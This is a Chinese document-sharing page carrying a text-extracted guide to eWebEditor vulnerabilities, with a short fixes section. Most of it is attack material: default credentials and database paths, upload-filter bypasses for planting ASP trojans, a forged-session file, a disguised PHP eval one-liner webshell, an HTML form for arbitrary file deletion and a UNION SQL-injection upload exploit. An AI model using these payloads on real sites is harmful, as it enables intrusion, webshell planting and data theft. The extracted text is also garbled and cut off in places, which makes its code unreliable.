ewebedit漏洞總結(jié)及解決方法.doc_第1頁
ewebedit漏洞總結(jié)及解決方法.doc_第2頁
ewebedit漏洞總結(jié)及解決方法.doc_第3頁
ewebedit漏洞總結(jié)及解決方法.doc_第4頁
ewebedit漏洞總結(jié)及解決方法.doc_第5頁
已閱讀5頁,還剩16頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、ewebedit漏洞總結(jié)及解決方法ewebedit 漏洞總結(jié)及解決方法2010-04-12 15:26:27|分類:網(wǎng)站建設(shè)|標(biāo)簽:|字號(hào)大中小訂閱/admin_login.aspadmin/adminadmin888/db/ewebeditor.mdbewebeditor/admin_uploadfile.asp?id=14在id=14后面添加&dir=.再加&dir=./.&dir=./././.看到整個(gè)網(wǎng)站文件了eWebEditor/admin_login.aspeWebEditor/db/ewebeditor.mdbeWebEditor/ewebeditor.a

2、speWebEditor/uploadfile/這個(gè)編輯器按腳本分主要有4 個(gè)版本,ASP/ASPX/PHP/JSP每個(gè)版本都有可以利用的漏洞。判斷網(wǎng)站是否使用了eWebEditor查看程序源代碼,看看源碼中是否存在類似“ ewebeditor.asp?id= ”語只句要,有此語句的存在, 就能判斷網(wǎng)站確實(shí)使用了 WEB 編輯器。另外一種方法就是站上新聞或者其他板塊上找圖片、附件等的鏈接,是否為admin/eWebEditor/UploadFile/xxxx.jpg之類格式。安全漏洞管理員未對(duì)編輯器的數(shù)據(jù)庫路徑和名稱進(jìn)行修改,導(dǎo)致可以利用編輯器默認(rèn)路徑直接對(duì)網(wǎng)站數(shù)據(jù)庫進(jìn)行下載。管理員未對(duì)編輯器

3、的用戶登錄路徑進(jìn)行修改,導(dǎo)致黑客可以利用網(wǎng)站數(shù)據(jù)庫所獲得的用戶名和密碼直接登陸編輯器管理后臺(tái)。該 WEB 編輯器上傳程序存在的安全漏洞。一、ASP 版1. 關(guān)鍵文件的名稱和路徑這個(gè)版本其實(shí)個(gè)人感覺是影響最大,使用最多的一個(gè)了吧,早期很多 asp 站都用這個(gè), 當(dāng)然現(xiàn)在也是大量的存在的 幾個(gè)關(guān)鍵文件的名稱和路徑:Admin_Login.asp登錄頁面Admin_Default.asp管理首頁Admin_Style.aspAdmin_UploadFile.aspUpload.aspAdmin_ModiPwd.aspeWebEditor.aspdb/ewebeditor.mdb默認(rèn)數(shù)據(jù)庫路徑2.默認(rèn)

4、用戶名密碼一般用這個(gè)的默認(rèn)后臺(tái)的URL 都是默認(rèn)的:類似:而且賬戶和密碼也基本都是默認(rèn)的:admin admin( admin888 )3. 下載數(shù)據(jù)庫還有如果默認(rèn)的賬戶和密碼修改了,我們可以下載他的數(shù)據(jù)庫,然后本地破解 MD5 了 .默認(rèn)數(shù)據(jù)庫: /db/ewebeditor.mdb或者 /db/ewebeditor.asp ,一般下載數(shù)據(jù)庫后打開察看就可以了。 4. 文件上傳登錄后臺(tái)后,點(diǎn)擊“樣式管理”,隨便選擇列表中底下的某一個(gè)樣式。注意: eWebEditor 自帶的樣式是不允許修的,當(dāng)然你也可以拷貝一個(gè)新的樣式來設(shè)置。在上傳的“其它類型”中增加“ asa ”類型:接下來把免殺的ASP

5、 木馬的后綴名改成 asa ,返回管理首頁,點(diǎn)擊“預(yù)覽”,然后選擇“插入其它文件”的按鈕進(jìn)行 ASP 木馬的上傳:上傳的 ASP 木馬就在“ UploadFile ”文件夾里。如果加了 asa 類型后發(fā)現(xiàn)還是無法上傳。應(yīng)該是站長(zhǎng)懂點(diǎn)代碼,自己修改了Upload.asp文件,但是沒有關(guān)系,按照常人的思維習(xí)慣, 往往會(huì)直接在sAllowExt = Replace(UCase( sAllowExt ), “ ASP”,“”)一句上修改,我就看見過一個(gè)站長(zhǎng)是這樣修改的: sAllowExt = Replace ( Replace( Replace( Replace ( Replace ( UCase

6、(sAllowExt ), “ ASP”,“”,) “ CER”,“”,)“ ASA”,“”,)“ CDX”,“”,)“ HTR”,“”)猛一看什么都過濾了,但是我們只要在上傳類型中增加“ aaspsp ”,就可以直接上傳asp 文件了。如果上述兩種方法都失敗了,則利用eWebEditor 能夠設(shè)定自動(dòng)保存遠(yuǎn)程文件的類型,我們可以加入asp 類型。但是如何才能讓遠(yuǎn)程訪問的 asp 文件能夠以源碼形式保存呢?方法是很多的,最簡(jiǎn)單的方法是將 IIS 中的“應(yīng)用文件映射”中的“ asp ”刪除(。此方法未經(jīng)測(cè)試,個(gè)人感覺利用率不高)有的站數(shù)據(jù)庫設(shè)置了只讀屬性,這樣的站你是無法新加樣式的,這樣的站你可

7、以看他數(shù)據(jù)庫里的樣式設(shè)置情況,一般很多時(shí)候都是讓人給拿過的,而且明顯的 asa 在那里。這樣的話就可以直接構(gòu)造一個(gè)調(diào)用這個(gè)樣式的連接來上傳 shell 。比如發(fā)現(xiàn)數(shù)據(jù)庫里有樣式 123 他設(shè)置的是可以上傳 asa 的話那么就可以這樣調(diào)用:&style=123這樣就可以直接上傳了,然后在點(diǎn)“編輯”就會(huì)找到 shell 的路徑了。其實(shí)這個(gè)漏洞主要是upload.asp的過濾不嚴(yán)造成的,新版的應(yīng)該都修復(fù)了,具體受影響的版本我也沒統(tǒng)計(jì)過。 5.遍歷路徑ewebeditor遍歷路徑漏洞(當(dāng)數(shù)據(jù)庫只讀的時(shí)候)ewebeditor/admin_uploadfile.asp?id=14 在 id=14

8、 后面添加 &dir= 再加 &dir=/ 或&dir=看到整個(gè)網(wǎng)站文件了,不過此項(xiàng)在測(cè)試的時(shí)候發(fā)現(xiàn),只有登錄成功才能進(jìn)行這項(xiàng)操作。 6.Cookie 漏洞漏洞文件: Admin_Private.asp.漏洞語句:% If Session (“ eWebEditor_User”)= “” ThenResponse. Redirect“ admin_login.asp”Response.EndEnd If只判斷了 session ,沒有判斷cookies 和路徑的驗(yàn)證問題。漏洞利用:新建一個(gè) mrchen.asp內(nèi)容如下:%Session(eWebEditor_User)

9、 = 11111111%訪問 mrchen.asp ,再訪問后臺(tái)任何文件, for example:Admin_Default.asp 這個(gè)拿 shell 的方法就簡(jiǎn)單了。二、 ASPX 版Javascript文件上傳受影響文件: eWebEditorNet/upload.aspx原理:代碼”uploadfile“ style=” file“ size=” uploadfile“ ru” lbtnUpload “ runat= ” JavaScript “只是簡(jiǎn)單的對(duì)ID 進(jìn)行驗(yàn)證,只要構(gòu)造javascript:lbtnUpload.click();滿足條件達(dá)到上傳木馬的效果。利用方法:添好本

10、地的cer 的 Shell 文件。在瀏攬器輸入javascript:lbtnUpload.click();就能得到 shell, 繞過了限制,成功上傳 ASPX 文件,。成功以后查看源代碼代碼a ” lbtnUpload“ ” javascript:_doPostBack( lbtnUpload,“)” script javascript文件默認(rèn)的上傳后保存的地址是eWebEditorNet/UploadFile/,看看是否上傳成功。三、PHP版關(guān)于 eWebEditor漏洞 php 版本的和 asp 的一樣。有目錄瀏覽。和編輯擴(kuò)展名。重點(diǎn)在于雖然支持了php 格式但上傳還是上傳不了。不過利用

11、織夢(mèng)的gif89a 漏洞倒可以實(shí)現(xiàn)php一句話上傳,然后再上傳webshell 。備注:織夢(mèng)的 gif89a 漏洞,準(zhǔn)確來說應(yīng)該是 DEDECMS 中所用的 php 版的 FCKeditor 存在上傳漏洞, gif89a 文件頭欺騙。DEDECMS 中在上傳拖上沒有對(duì) picSubmit 進(jìn)行任何處理。但是卻不能直接上傳 php 馬。因?yàn)闀?huì)識(shí)別。使用修改過的 php 小馬。gif89aphpinfo ();RFIgif89aeval ($_POSTc );利用 gif89a 進(jìn)行了欺騙?,F(xiàn)在上傳就可以成功了。然后有php 一句話客戶端連接。四、JSP 版上傳漏洞影響版本:漏洞存在于ewebed

12、itor jsp 版 1.4 以下版本,漏洞有兩個(gè)版本。原理:第一個(gè)是使用savefile.jsp 來進(jìn)行文件上傳操作的,從代碼中可以看出,程序并沒做任何上傳過濾,這樣我們就可以直接上傳一個(gè)JSPShell 了。另一個(gè)版本可能是被人修改過,把代碼轉(zhuǎn)成了servlet ,不能看到代碼,但是利用方法卻大同小異。利用方法:我們先找一個(gè) 1.4 版本以下的 ewebeditor JSP上傳頁面,選擇好一個(gè)JSPShell 。這個(gè) ewebeditor 是沒有提交按鈕的,所以這里涉及到一個(gè)小技巧,就是在上傳的對(duì)話框中敲下回車,大約過半分鐘,就可以查看網(wǎng)頁的源文件來尋找我們的Webshell了。解決方法1

13、. 修改 admin 密碼;2.upload.asp中的:“任何情況下都不允許上傳asp 腳本文件 sAllowExt =Replace (UCase ( sAllowExt ), ” ASP“,”“)改為:”任何情況下都不允許上傳asp 腳本文件sAllowExt = Replace ( UCase ( sAllowExt ), “ ASP”,“”) sAllowExt = Replace ( UCase ( sAllowExt ), “ ASA”,“”) sAllowExt = Replace ( UCase ( sAllowExt ), “ CER”,“”) sAllowExt = Re

14、place ( UCase (sAllowExt ), “ AASPSP”,“”)sAllowExt = Replace( UCase ( sAllowExtsAllowExt = Replace( UCase ( sAllowExt3. Admin_Private.asp:If Session (“ eWebEditor_User”)= “”Response. Redirect“ admin_login.aspResponse. End), “ CDX”,“”), “ HTR”,“”)Then”End If改為:If Session (“ eWebEditor_User”)= “” and

15、IsSelfRefer()ThenResponse.Redirect“ admin_login.asp”Response.EndEnd If4. 將 db/ewebeditor.mdb數(shù)據(jù)庫文件名改為其他包含#等字符的文件名;5.將 IIS 中的“應(yīng)用文件映射”中的“asp ”刪除;6.仍有問題刪除 admin_login.asp文件。2009 年 3 月補(bǔ)充:這個(gè)漏洞可以很雞肋,也可以很致命,關(guān)鍵看你怎么利用!此漏洞存在于ExampleNewsSystem目錄下的 delete.asp文件中,這是 ewebeditor的測(cè)試頁面, 無須登陸可以直接進(jìn)入,看這些代碼: 把帶“ xx ”的字符串

16、轉(zhuǎn)為數(shù)組Dim aSavePathFileNameaSavePathFileName = Split( sSavePathFileName,“ xx ”) 刪除新聞相關(guān)的文件,從文件夾中Dim iFor i = 0 To UBound( aSavePathFileName) 按路徑文件名刪除文件Call DoDelFile ( aSavePathFileName( i)Next而 aSavePathFileName 是前面從數(shù)據(jù)庫取出來的:sSavePathFileName = oRs(“ D_SavePathFileName ”)看看 D_SavePathFileName 是怎么添加到數(shù)據(jù)庫

17、里的,在addsave.asp ( modifysave.asp)里:sSavePathFileName = GetSafeStr( Request.Form(“ d_savepathfilename)”)oRs (“ D_SavePathFileName ”)= sSavePathFileName居然過濾了,是GetSafeStr函數(shù),再看看這個(gè)函數(shù),在Startup.asp里:Function GetSafeStr( str )GetSafeStr = Replace (Replace( Replace( Trim( str ), “”,“”,)Chr ( 34 ), “”,)“;”,“”

18、)End Function無語,這不是過濾字符型注入的函數(shù)么?放這里什么用也沒有?。〖热宦窂?jīng)]有過濾,那就可以直接定義了,構(gòu)造一個(gè)提交頁面,其中d_savepathfilename自己任意賦值(要?jiǎng)h除多個(gè)文件,用xx 隔開即可)。試試 /eWebEditor.asp ,提交后刪除該新聞,于是主目錄下的 eWebEditor.asp 不見了!下面給出利用的htm : HTML HEAD TITLE eWebEditor刪除文件 by:oldjun ( ) /TITLE style body,p,td,input font-size:9pt /style /HEAD BODY a href=lis

19、t.asp新聞列表/a xx ahref=add.asp 增加新聞 /a b增加新聞 /b formaction=“ /editor/Example/NewsSystem/addsave.asp”method= “ post” name= “ myform ”input type=hidden name=d_originalfilenameinput type=hidden name=d_savefilenametable cellspacing=3 align=center tr td要?jiǎng)h的文件(相對(duì)路徑就可以了) : /td td input type= “

20、text ” name= “ d_savepathfilename ”value= “” size=“90/td /tr tr td新聞標(biāo)題(隨便填) :/td td input type=” text “ name= ” d_title“ value=/td /tr tr td標(biāo)題圖片: /td td select name=“ d_picture” size=1option value=無 /option /select 當(dāng)編輯區(qū)有插入圖片時(shí),將自動(dòng)填充此下拉框/td ”“size=” /tr tr td新聞內(nèi)容(隨便填) :/td td textarea name= ” d_conten

21、t “/textarea /td /tr /table input type=submitname=btnSubmit value=”提 交“ input type=reset name=btnReset value=重”填 “ /form /BODY /HTML 刪除文件漏洞一般是配合其他漏洞使用的,比如目錄遍歷!=ewebeditor漏洞解決方法2009-06-13 09:451,修改 admin 的密碼 .2,upload.asp中的 任何情況下都不允許上傳 asp 腳本文件sAllowExt = Replace(UCase(sAllowExt), ASP, )改為 : 任何情況下都不允

22、許上傳 asp 腳本文件sAllowExt = Replace(UCase(sAllowExt), ASP, ) sAllowExt = Replace(UCase(sAllowExt), ASA, ) sAllowExt = Replace(UCase(sAllowExt), CER, ) sAllowExt = Replace(UCase(sAllowExt), AASPSP, ) sAllowExt = Replace(UCase(sAllowExt), CDX, ) sAllowExt = Replace(UCase(sAllowExt), HTR, )3,Admin_Private.

23、aspIf Session(eWebEditor_User) = Then Response.Redirect admin_login.aspResponse.EndEnd If改為 :If Session(eWebEditor_User) = and IsSelfRefer() Then Response.Redirect admin_login.asp Response.EndEnd If4, 將 db/ewebeditor.mdb改為 13265341558110#$_.asp同時(shí)也要將 startup.aspoConn.Open Provider=Microsoft.Jet.OLEDB

24、.4.0; Data Source= &Server.MapPath(db/13265341558110#$_.asp)5, 將 IIS 中的 應(yīng)用文件映射 中的 asp 刪除 .6, 還有問題刪除admin_login.asp文件.=Ewebeditor 2.1.6 ASP以下版本上傳漏洞UNION 運(yùn)用 -直接叼 SHELL以前曾進(jìn)過一個(gè)網(wǎng)站, 把上傳部份的asp 代碼下載回來研究,當(dāng)時(shí)感覺有漏洞但沒仔細(xì)研究,還以為那是他們自已寫的程序。前幾天看到ewebeditor有漏洞的文章才想起那個(gè)網(wǎng)站原來用的也是 ewebeditor 。今天仔細(xì)看了看,發(fā)現(xiàn)問題了(2.1.6版本以后不存在

25、),可以指定上傳后的文件擴(kuò)展名為除asp外的任何,如果該網(wǎng)站沒有刪除cer 、asa 等文件與asp.dll的映射,就可以上傳木馬了。問題出在 upload.asp文件中,相關(guān)代碼如下 (以 2.1.6 版為例 )Sub InitUpload()sType = UCase(Trim(Request.QueryString(type) *sStyleName = Trim(Request.QueryString(style) sSql = select * from ewebeditor_style where s_name= & sStyleName & oRs.Open sS

26、ql, oConn, 0, 1If Not oRs.Eof ThensUploadDir = oRs(S_UploadDir)sUploadDir = Replace(sUploadDir, , /)If Right(sUploadDir, 1)/ ThensUploadDir = sUploadDir & /End IfSelect Case sTypeCase FILEsAllowExt = oRs(S_FileExt)nAllowSize = oRs(S_FileSize)Case MEDIAsAllowExt = oRs(S_MediaExt)nAllowSize = oRs(

27、S_MediaSize)Case FLASHsAllowExt = oRs(S_FlashExt)nAllowSize = oRs(S_FlashSize)Case ElsesAllowExt = oRs(S_ImageExt)nAllowSize = oRs(S_ImageSize)End SelectElseOutScript(parent.UploadError(無效的樣式ID 號(hào),請(qǐng)通過頁面上的鏈接進(jìn)行操作!)End IfoRs.Close 任何情況下都不允許上傳 asp 腳本文件sAllowExt = Replace(UCase(sAllowExt), ASP, )End Sub上面

28、的 sStyleName變量直接從style 中讀取,并沒有過濾,所以可以包含任意字符,往下看,用select 在ewebeditor_style表中查找 s_name 為 sStyleName的記錄,找不到就提示出錯(cuò)。表面上看有sql 注入漏洞,有可能猜出數(shù)據(jù)庫的表、字段,但那些根本沒用,管理員信息不在這個(gè)數(shù)據(jù)庫中。如果在 sStyleName變量中用 union 來構(gòu)造記錄,情況就不同了,我們可以在sAllowExt中加入 xxcer 、 xxasa ,構(gòu)造如下upload.asp?action=save&type=IMAGE&style=hzh union selectS

29、_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,S_ImageExt+xxcer,S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote

30、,S_ShowBorder from ewebeditor_style wheres_name=standard and a=a編碼后就是upload.asp?action=save&type=IMAGE&style=hzh%20union%20select%20S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,S_ImageExt%2bxxcer,S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_Imag

31、eSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder%20from%20ewebeditor_style%20where%20s_name=standard%20and%20a=a上面的 hzh 可以改為任何字符, 但由于只取第一條記錄的數(shù)據(jù),所以必須使union 前的 select 結(jié)果為空,S_ImageExt+xxcer表示在選擇的

32、S_ImageExt字段中加入xxcer 串。用 nc 或其它工具發(fā)送就可以上傳木馬了。最后提一下union ,UNION操作一般被用來把來自表單、SELECT語句或查詢的數(shù)據(jù)結(jié)合,并省略掉任何重復(fù)的行。所有的數(shù)據(jù)源必須有相同數(shù)目的域,不過這些域不一定要是相同的數(shù)據(jù)類型,即UNION 操作不會(huì)顯示任何在兩個(gè)表單中重復(fù)出現(xiàn)的記錄。利用UNION的查詢語句一定要與UNION 前的查詢語句字段列相等。=H3 ewebeditor asp版 2.1.6上傳漏洞利用程序- /H3 br br form action= sp?action=save&type=IMAGE&style=standardu nion select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Heig ht,S_Memo,S_IsSys,S_FileExt,S_FlashExt,S_ImageExt%2bxxcer,S_MediaExt,S_FileSize,S_FlashS ize,S_ImageSize,S_MediaSize,S_Sta

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論